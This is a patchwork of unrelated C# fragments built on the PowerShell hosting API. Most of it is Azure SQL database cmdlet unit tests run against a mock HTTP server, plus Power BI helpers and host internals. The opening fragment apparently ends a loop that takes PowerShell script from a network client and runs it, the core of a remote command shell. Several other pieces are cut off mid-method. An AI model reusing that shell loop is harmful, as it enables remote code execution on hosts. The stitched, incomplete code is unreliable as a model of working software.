(IsValid(data)) { ProcessPS(data); data = ""; MULTILINE_FLAG = false; } else { Debug.WriteLine("[DEBUG] Incomplete script or parse error"); MULTILINE_FLAG = true; this.host.UI.Write(">> "); } } } // Shutdown and end connection client.Close(); Debug.WriteLine("[DEBUG] Connection Closed"); break; } } } }
/// <summary> /// Common helper method for other tests to create a context. /// </summary> /// <param name="contextVariable">The variable name that will hold the new context.</param> public static void CreateServerContextSqlAuth( System.Management.Automation.PowerShell powershell, string contextVariable) { HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.Common.NewAzureSqlDatabaseServerContextWithSqlAuth"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsNotNull(actual.UserAgent); switch (expected.Index) { // Request 0-2: Create context with both ManageUrl and ServerName overriden case 0: // GetAccessToken call DatabaseTestHelper.ValidateGetAccessTokenRequest( expected.RequestInfo, actual); break; case 1: // Get server call DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); break; case 2: // $metadata call Assert.IsTrue( actual.RequestUri.AbsoluteUri.EndsWith("$metadata"), "Incorrect Uri specified for $metadata"); DatabaseTestHelper.ValidateHeadersForServiceRequest( expected.RequestInfo, actual); Assert.AreEqual( expected.RequestInfo.Headers[DataServiceConstants.AccessTokenHeader], actual.Headers[DataServiceConstants.AccessTokenHeader], "AccessToken header does not match"); Assert.AreEqual( expected.RequestInfo.Cookies[DataServiceConstants.AccessCookie], actual.Cookies[DataServiceConstants.AccessCookie], "AccessCookie does not match"); break; default: Assert.Fail("No more requests expected."); break; } }); UnitTestHelper.ImportAzureModule(powershell); UnitTestHelper.CreateTestCredential( powershell, testSession.SessionProperties["Username"], testSession.SessionProperties["Password"]); // Tell the sql auth factory to create a v2 context (skip checking sql version using select query). // SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2; Collection <PSObject> serverContext; using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { serverContext = powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"{1} = New-AzureSqlDatabaseServerContext " + @"-ServerName {2} " + @"-ManageUrl {0} " + @"-Credential $credential", MockHttpServer.DefaultServerPrefixUri.AbsoluteUri, contextVariable, testSession.SessionProperties["Servername"]), contextVariable); } } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); PSObject contextPsObject = serverContext.Single(); Assert.IsTrue( contextPsObject.BaseObject is ServerDataServiceSqlAuth, "Expecting a ServerDataServiceSqlAuth object"); }
/// <summary> /// Imports the Azure Manifest to the given <paramref name="powershell"/> instance. /// </summary> /// <param name="powershell">An instance of the <see cref="PowerShell"/> object.</param> public static void ImportAzureModule(System.Management.Automation.PowerShell powershell) { // Import the test manifest file powershell.InvokeBatchScript(@"Import-Module ..\..\..\..\Package\Debug\ServiceManagement\Azure\Azure.psd1"); Assert.IsTrue(powershell.Streams.Error.Count == 0); }
public virtual void TestSetup() { powershell = System.Management.Automation.PowerShell.Create(); foreach (string moduleName in modules) { powershell.AddScript(string.Format("Import-Module \"{0}\"", Test.Utilities.Common.Testing.GetAssemblyTestResourcePath<ResourceLocator>(moduleName))); } powershell.AddScript("$VerbosePreference='Continue'"); powershell.AddScript("$DebugPreference='Continue'"); powershell.AddScript("$ErrorActionPreference='Stop'"); powershell.AddScript("Write-Debug \"AZURE_TEST_MODE = $env:AZURE_TEST_MODE\""); powershell.AddScript("Write-Debug \"TEST_HTTPMOCK_OUTPUT = $env:TEST_HTTPMOCK_OUTPUT\""); }
public virtual void StartResumablePSCommand(Guid jobInstanceId, Bookmark bookmark, System.Management.Automation.PowerShell command, PowerShellStreams <PSObject, PSObject> streams, PSActivityEnvironment environment, PSActivity activityInstance) { throw new NotImplementedException(); }
// ---------- CONSTRUCTOR ---------- /// <summary> /// Creates a new PowerShell script state object, with the supplied originating script. /// </summary> /// <param name="script">The PowerShell object that originated the invocation.</param> public PowerShellScriptState(PS script) { // Set the originating script object. if (script != null) { Script = script; } else { // The script object was not supplied, throw an exception. throw new ArgumentNullException("script"); } // Initialize the stateVariables property. StateVariables = new Dictionary<string, object>(); }
public static Workspace GetFirstDeletedWorkspaceInOrganization(System.Management.Automation.PowerShell ps) { return(InvokeGetPowerBIWorkspace(ps, PowerBIUserScope.Organization, OperationType.GetFirstDeletedWorkspaceInOrganization)); }
internal List<object> ExecuteCommand(Command command, bool stringOutput, bool internalScript) { // Create a pipeline, and populate it with the script given in the // edit box of the form. try { using (powerShell = NewPowerShell()) { powerShell.Commands.AddCommand(command); return ExecuteCommand(stringOutput); } } finally { powerShell = null; } }
public static Workspace GetFirstWorkspace(System.Management.Automation.PowerShell ps, PowerBIUserScope scope) { return(InvokeGetPowerBIWorkspace(ps, scope, OperationType.GetFirstWorkspace)); }
internal System.Management.Automation.PowerShell NewPowerShell() { if (IsRunning) return powerShell.CreateNestedPowerShell(); powerShell = System.Management.Automation.PowerShell.Create(); powerShell.Runspace = host.Runspace; return powerShell; }
private static void LogPowerShellVersion(System.Management.Automation.PowerShell pwsh) { var message = string.Format(PowerShellWorkerStrings.PowerShellVersion, Utils.GetPowerShellVersion(pwsh)); RpcLogger.WriteSystemLog(LogLevel.Information, message); }
public void AzureSqlDatabaseCertTests() { // This test uses the https endpoint, setup the certificates. MockHttpServer.SetupCertificates(); using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Setup the subscription used for the test AzureSubscription subscription = UnitTestHelper.SetupUnitTestSubscription(powershell); powershell.Runspace.SessionStateProxy.SetVariable( "serverName", SqlDatabaseTestSettings.Instance.ServerName); // Create a new server HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.AzureSqlDatabaseCertTests"); ServerTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsTrue( actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue), "Missing proper UserAgent string."); }); Collection <PSObject> newDatabaseResult1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbcert1")); }); Collection <PSObject> newDatabaseResult2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbcert2" + @" -Edition Business" + @" -MaxSizeGB 10" + @" -Collation Japanese_CI_AS")); }); // Create a database of size 100MB Default Edition (Standard) Collection <PSObject> newDatabaseResult3 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbcert4" + @" -MaxSizeBytes 104857600")); }); Collection <PSObject> getDatabaseResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabase" + @" $serverName")); }); Collection <PSObject> getSingleDatabaseResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabase" + @" $serverName" + @" -DatabaseName testdbcert1")); }); Collection <PSObject> getSingleDatabaseResult2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabase" + @" $serverName" + @" -DatabaseName testdbcert4")); }); Collection <PSObject> setDatabaseNameResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable("db", newDatabaseResult1.FirstOrDefault()); return(powershell.InvokeBatchScript( @"$db | Set-AzureSqlDatabase" + @" -NewDatabaseName testdbcert3" + @" -PassThru")); }); Collection <PSObject> setDatabaseSizeResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable("db", newDatabaseResult1.FirstOrDefault()); return(powershell.InvokeBatchScript( @"$db | Set-AzureSqlDatabase" + @" -MaxSizeGB 5" + @" -PassThru")); }); Collection <PSObject> setDatabaseSizeResult2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Set-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbcert4" + @" -MaxSizeBytes 1073741824" + @" -passthru")); }); Collection <PSObject> P1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"$P1 = Get-AzureSqlDatabaseServiceObjective" + @" -Server $serverName" + @" -ServiceObjectiveName ""P1""", @"$P1")); }); Collection <PSObject> P2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.InvokeBatchScript( @"$SLO = Get-AzureSqlDatabaseServiceObjective" + @" -Server $serverName"); return(powershell.InvokeBatchScript( @"$P2 = Get-AzureSqlDatabaseServiceObjective" + @" -Server $serverName" + @" -ServiceObjective ($slo | where-object { $_.name -match ""P2"" })", @"$P2")); }); Collection <PSObject> setDatabaseSlo = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Set-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbcert4" + @" -Edition Premium" + @" -MaxSizeGb 10" + @" -ServiceObjective $P2" + @" -passthru" + @" -Force")); }); Collection <PSObject> removeDatabaseResult1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable("db1", newDatabaseResult1.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("db2", newDatabaseResult2.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("db3", newDatabaseResult3.FirstOrDefault()); powershell.InvokeBatchScript(@"$db1 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$db2 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$db3 | Remove-AzureSqlDatabase -Force"); return(powershell.InvokeBatchScript(@"Get-AzureSqlDatabase $serverName")); }); Collection <PSObject> newPremiumP1DatabaseResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName ""testdbcertPremiumDBP1""" + @" -Edition Premium" + @" -ServiceObjective $P1" + @" -MaxSizeGb 10")); }); Collection <PSObject> newPremiumP2DatabaseResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName ""testdbcertPremiumDBP2""" + @" -Edition Premium" + @" -ServiceObjective $P2" + @" -MaxSizeGb 10")); }); // There is a known issue about the Get-AzureSqlDatabaseOperation that it returns all // operations which has the required database name no matter it's been deleted and recreated. // So when run it against the mock session, please use the hard coded testsDBName. // Run against onebox, please use the one with NewGuid(). // This unit test should be updated once that behavior get changed which was already been // created as a task. string getOperationDbName = null; if (testSession.ServiceBaseUri == null) { getOperationDbName = "testdbcertGetOperationDbName_08abc738-1381-4164-ae5e-03a4fe59b6d2"; } else { getOperationDbName = "testdbcertGetOperationDbName_" + Guid.NewGuid().ToString(); } Collection <PSObject> newOperationDbResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"$getOperationDb = New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName ""{0}""", getOperationDbName), @"$getOperationDb")); }); Collection <PSObject> getDatabaseOperationByDbResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"Get-AzureSqlDatabaseOperation" + @" -ServerName $serverName" + @" -Database $getOperationDb"))); }); Collection <PSObject> getDatabaseOperationByNameResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"$getOperation = Get-AzureSqlDatabaseOperation" + @" -ServerName $serverName" + @" -DatabaseName ""{0}""", getOperationDbName), @"$getOperation")); }); Collection <PSObject> getDatabaseOperationByIdResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"Get-AzureSqlDatabaseOperation" + @" -ServerName $serverName" + @" -OperationGuid $getOperation[0].Id"))); }); Collection <PSObject> removeDatabaseResult2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable("premiumP1", newPremiumP1DatabaseResult.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("premiumP2", newPremiumP2DatabaseResult.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("operationDb", newOperationDbResult.FirstOrDefault()); powershell.InvokeBatchScript(@"$premiumP1 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$premiumP2 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$operationDb | Remove-AzureSqlDatabase -Force"); return(powershell.InvokeBatchScript(@"Get-AzureSqlDatabase $serverName")); }); Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!"); // Validate New-AzureSqlDatabase Services.Server.Database[] databases = new Services.Server.Database[] { newDatabaseResult1.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); // Note: Because the object is piped, this is the final state of the // database object, after all the Set- cmdlet has run. DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert3", "Standard", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { newDatabaseResult2.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); //TODO: change below to business DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert2", "Business", 10, 10737418240L, "Japanese_CI_AS", "Business", false, DatabaseTestHelper.BusinessSloGuid); databases = new Services.Server.Database[] { newDatabaseResult3.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); // Validate Get-AzureSqlDatabase databases = getDatabaseResult.Select(r => r.BaseObject as Services.Server.Database).ToArray(); Assert.AreEqual(4, databases.Length, "Expecting 4 databases"); Assert.IsNotNull(databases[0], "Expecting a Database object."); Assert.IsNotNull(databases[1], "Expecting a Database object."); Assert.IsNotNull(databases[2], "Expecting a Database object."); Assert.IsNotNull(databases[3], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[1], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[3], "testdbcert1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[2], "testdbcert2", "Business", 10, 10737418240L, "Japanese_CI_AS", "Business", false, DatabaseTestHelper.BusinessSloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { getSingleDatabaseResult.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { getSingleDatabaseResult2.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); // Validate Set-AzureSqlDatabase databases = new Services.Server.Database[] { setDatabaseNameResult.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert3", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { setDatabaseSizeResult.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert3", "Standard", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { setDatabaseSizeResult2.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { setDatabaseSlo.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.PremiumP2SloGuid); // Validate New-AzureSqlDatabase for Premium Edition Database VerifyCreatePremiumDb(newPremiumP1DatabaseResult, "testdbcertPremiumDBP1", (P1.Single().BaseObject as ServiceObjective).Id.ToString()); VerifyCreatePremiumDb(newPremiumP2DatabaseResult, "testdbcertPremiumDBP2", (P2.Single().BaseObject as ServiceObjective).Id.ToString()); // Validate Get-AzureSqlDatabaseServiceObjective var SLOP1 = P1.Single().BaseObject as ServiceObjective; Assert.AreEqual("P1", SLOP1.Name); Assert.IsNotNull(SLOP1.DimensionSettings, "Expecting some Dimension Setting objects."); Assert.AreEqual(1, SLOP1.DimensionSettings.Count(), "Expecting 1 Dimension Setting."); Assert.AreEqual("Premium P1 resource allocation.", SLOP1.DimensionSettings[0].Description, "Expecting Dimension Setting description as Resource capacity is reserved."); var SLOP2 = P2.Single().BaseObject as ServiceObjective; Assert.AreEqual("P2", SLOP2.Name); Assert.IsNotNull(SLOP2.DimensionSettings, "Expecting some Dimension Setting objects."); Assert.AreEqual(1, SLOP2.DimensionSettings.Count(), "Expecting 1 Dimension Setting."); Assert.AreEqual("Premium P2 resource allocation.", SLOP2.DimensionSettings[0].Description, "Expecting Dimension Setting description as Resource capacity is reserved."); // Validate Get-AzureSqlDatabaseOperation VerifyGetAzureSqlDatabaseOperation(getOperationDbName, getDatabaseOperationByDbResult); VerifyGetAzureSqlDatabaseOperation(getOperationDbName, getDatabaseOperationByNameResult); VerifyGetAzureSqlDatabaseOperation(getOperationDbName, getDatabaseOperationByIdResult); // Validate Remove-AzureSqlDatabase databases = new Services.Server.Database[] { removeDatabaseResult1.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting no databases"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid); databases = new Services.Server.Database[] { removeDatabaseResult2.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting no databases"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid); } }
/// <summary> /// Default constructor for creating ServerPowerShellDrivers /// </summary> /// <param name="powershell">decoded powershell object.</param> /// <param name="extraPowerShell">extra pipeline to be run after <paramref name="powershell"/> completes.</param> /// <param name="noInput">whether there is input for this powershell.</param> /// <param name="clientPowerShellId">the client powershell id.</param> /// <param name="clientRunspacePoolId">the client runspacepool id.</param> /// <param name="runspacePoolDriver">runspace pool driver /// which is creating this powershell driver</param> /// <param name="hostInfo">host info using which the host for /// this powershell will be constructed</param> /// <param name="streamOptions">serialization options for the streams in this powershell.</param> /// <param name="addToHistory"> /// true if the command is to be added to history list of the runspace. false, otherwise. /// </param> /// <param name="rsToUse"> /// If not null, this Runspace will be used to invoke Powershell. /// If null, the RunspacePool pointed by <paramref name="runspacePoolDriver"/> will be used. /// </param> /// <param name="output"> /// If not null, this is used as another source of output sent to the client. /// </param> internal ServerPowerShellDriver(PowerShell powershell, PowerShell extraPowerShell, bool noInput, Guid clientPowerShellId, Guid clientRunspacePoolId, ServerRunspacePoolDriver runspacePoolDriver, HostInfo hostInfo, RemoteStreamOptions streamOptions, bool addToHistory, Runspace rsToUse, PSDataCollection <PSObject> output)
private void ReportException(Exception e) { if (e != null) { object error; IContainsErrorRecord icer = e as IContainsErrorRecord; if (icer != null) { error = icer.ErrorRecord; } else { error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null); } lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } this.currentPowerShell.Runspace = this.myRunSpace; try { this.currentPowerShell.AddScript("$input").AddCommand("out-string"); Collection<PSObject> result; PSDataCollection<object> inputCollection = new PSDataCollection<object>(); inputCollection.Add(error); inputCollection.Complete(); result = this.currentPowerShell.Invoke(inputCollection); if (result.Count > 0) { string str = result[0].BaseObject as string; if (!string.IsNullOrEmpty(str)) { this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2)); } } } finally { lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } } }
public void AzureSqlDatabaseEditionsTests() { // This test uses the https endpoint, setup the certificates. MockHttpServer.SetupCertificates(); using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Setup the subscription used for the test AzureSubscription subscription = UnitTestHelper.SetupUnitTestSubscription(powershell); powershell.Runspace.SessionStateProxy.SetVariable( "serverName", SqlDatabaseTestSettings.Instance.ServerV2); // Create a new server HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.AzureSqlDatabaseEditionsTests"); ServerTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsTrue( actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue), "Missing proper UserAgent string."); }); Collection <PSObject> newDatabaseResult1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"($db = New-AzureSqlDatabase -ServerName $serverName -DatabaseName testdbeditions1)")); }); Collection <PSObject> newDatabaseResult2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbeditions2" + @" -Edition Standard")); }); Collection <PSObject> newDatabaseResult3 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"($db3 = New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbeditions3" + @" -Edition Basic)")); }); Collection <PSObject> newDatabaseResult4 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbeditions4" + @" -Edition Premium")); }); Collection <PSObject> serviceObjectives = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"($so = Get-AzureSqlDatabaseServiceObjective -Server $serverName)")); }); Collection <PSObject> newDatabaseResult5 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureSqlDatabase" + @" -ServerName $serverName" + @" -DatabaseName testdbeditions5" + @" -Edition Standard" + @" -ServiceObjective ($so | where-object { $_.name -match ""S2"" })")); }); Collection <PSObject> getSingleDatabaseResult1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabase $serverName -DatabaseName testdbeditions1")); }); Collection <PSObject> getSingleDatabaseResult2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"$db | Get-AzureSqlDatabase")); }); Collection <PSObject> setDatabaseObjective1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Set-AzureSqlDatabase -ServerName $serverName -DatabaseName testdbeditions2 -ServiceObjective ($so | where-object { $_.name -match ""S2"" }) -Force")); }); Collection <PSObject> setDatabaseObjective2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Set-AzureSqlDatabase -ServerName $serverName -DatabaseName $db3.Name -Edition Standard -MaxSizeGB 1 -ServiceObjective ($so | where-object { $_.name -match ""S1"" }) -Force")); }); Collection <PSObject> getDatabaseResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabase" + @" $serverName")); }); Collection <PSObject> removeDatabaseResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable("db1", newDatabaseResult1.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("db2", newDatabaseResult2.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("db3", newDatabaseResult3.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("db4", newDatabaseResult4.FirstOrDefault()); powershell.Runspace.SessionStateProxy.SetVariable("db5", newDatabaseResult5.FirstOrDefault()); powershell.InvokeBatchScript(@"$db1 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$db2 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$db3 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$db4 | Remove-AzureSqlDatabase -Force"); powershell.InvokeBatchScript(@"$db5 | Remove-AzureSqlDatabase -Force"); return(powershell.InvokeBatchScript(@"Get-AzureSqlDatabase $serverName")); }); Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!"); // Validate New-AzureSqlDatabase Services.Server.Database[] databases = new Services.Server.Database[] { newDatabaseResult1.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); databases = new Services.Server.Database[] { newDatabaseResult2.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions2", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); 